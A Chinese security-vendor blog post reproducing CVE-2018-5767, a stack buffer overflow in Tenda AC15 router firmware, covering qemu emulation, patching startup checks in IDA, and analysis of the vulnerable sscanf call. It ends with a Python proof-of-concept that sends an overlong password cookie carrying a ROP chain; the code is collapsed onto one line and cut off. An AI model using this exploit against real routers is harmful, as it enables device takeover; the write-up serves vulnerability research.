提交需求
*
*

*
*
*
立即提交
点击”立即提交”,表明我理解并同意 《美创科技隐私条款》

logo

    产品与服务
    解决方案
    技术支持
    合作发展
    关于美创

    申请试用
      Tenda路由器CVE-2018-5767缓冲区溢出漏洞复现与分析
      发布时间:2023-04-21 阅读次数: 1229 次
      01
      漏洞简介

      Tenda AC15 路由器存在一个溢出漏洞, 由于没有对用户的输入进行限制,导致sscanf函数直接将用户的输入直接拷贝至栈上,从而造成了栈溢出漏洞。


      02
      漏洞影响版本

      Tenda AC15 


      03
      漏洞环境搭建
      固件下载:


      https://github.com/VulnTotal-Team/IoT-vulhub/tree/master/Tenda/CVE-2018-5767/firmware
      执行


      sudo apt install qemu-user-static
      安装qemu-user-static
      图片
      执行

      cp $(which qemu-arm-static) ./sudo chroot . ./qemu-arm-static ./bin/httpd



      启动httpd启动程序
      图片
      卡在启动界面,将./bin/httpd放入IDA中,通过IDA搜索”WeLoveLinux”发现以下结果

      图片

      进入第一处
      图片
      点击F5查看代码,通过查询资料发现此处存在两个检查,第一个检查check_network检查network,未通过则进入睡眠状态,第二个检查ConnectCfm检查连接状态,未通过则输出connect cfm failed!,所以如果想路由器固件http正常启动,需对这2处的返回值进行patch绕过,否则将一直循环在启动界面。
      图片
      本次漏洞环境搭建过程使用IDA插件keypatch进行patch,IDA插件keypatch下载地址:https://github.com/keystone-engine/keypatch,下载后,将keypatch.py拷贝至IDA的plugins目录即可
      图片
      重新启动IDA,将check_networkConnectCfmMOV R3, R0修改为MOV R3, #1
      图片
      点击Edit->Patch program->Apply patches to,即可让更改patch生效
      图片
      将更改后的httpd替换之前的httpd文件并赋予新的httpd文件执行权限
      图片
      执行


      sudo chroot . ./qemu-arm-static ./bin/httpd
      重新启动./bin/httpd,发现IP地址不对
      图片
      查询资料发现需新建立一张名为br0的网卡
      执行



      • brctl addbr br0
      • ifconfig br0 192.168.1.1/24


      命令执行完毕后执行ifconfig,可以看到br0网卡已被添加
      图片
      继续执行


      chroot . ./qemu-arm-static ./bin/httpd
      可以看到已正确获取到IP地址
      图片
      访问http://192.168.1.1,发现仍然出现错误
      图片
      执行以下命令将/webroot_ro/目录下文件拷贝到/webroot/


      cp -rf ./webroot_ro/* ./webroot/

      图片

      再次重新执行


      chroot . ./qemu-arm-static ./bin/httpd
      并访问http://192.168.1.1
      成功搭建漏洞环境
      图片

      04
      漏洞复现分析

      根据已有POC可知溢出漏洞点位于R7WebsSecurityHandler函数中,通过IDA定位该函数并查看函数内容

      图片

      该函数中漏洞点位于下图所示位置,下图所示代码含义为首先寻找到”password=”字符串位置,之后通过函数sscanf获取字符串”password=”以及之后的内容中的字符=到字符;中间的字符串即password的值,之后将截取到的内容写入v33,由于v33已定义长度为128,当截取的值长度超过128时,将造成溢出

      图片

      将下面代码保存为CVE-2018-5767.py


      • import structimport requestsfrom pwn import * ip = "192.168.1.1" url = "http://{:s}/goform/exeCommand".format(ip)headers = {    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding': 'gzip, deflate','Connection': 'close','Upgrade-Insecure-Requests': '1','Cookie': 'password="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaSKYEaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.gifbbbbzzzz"','Cache-Control': 'max-age=0'} libc=0xFF5D5000 _str = "Hello\x00" pop_r3_pc = p32(0x00018298+libc)#pop r3 pcmov_r0_sp_blx_r3 = p32(0x00040cb8 + libc)# mov r0 sp; blx r3print(0x00018298+libc)puts = p32(0x035CD4+libc)_str = _str.encode()# 'byte'password = b"A" * 448+pop_r3_pc+puts+mov_r0_sp_blx_r3+_str+b".gif"headers['Cookie']=b"password="+password try:    response = requests.get(url,headers=headers,timeout=1)except:Pas



      另开一个cmd窗口,执行python3 CVE-2018-5767.py

      图片

      路由器日志信息输出hello

      图片


      免费试用
      服务热线

      马上咨询

      400-811-3777

      回到顶部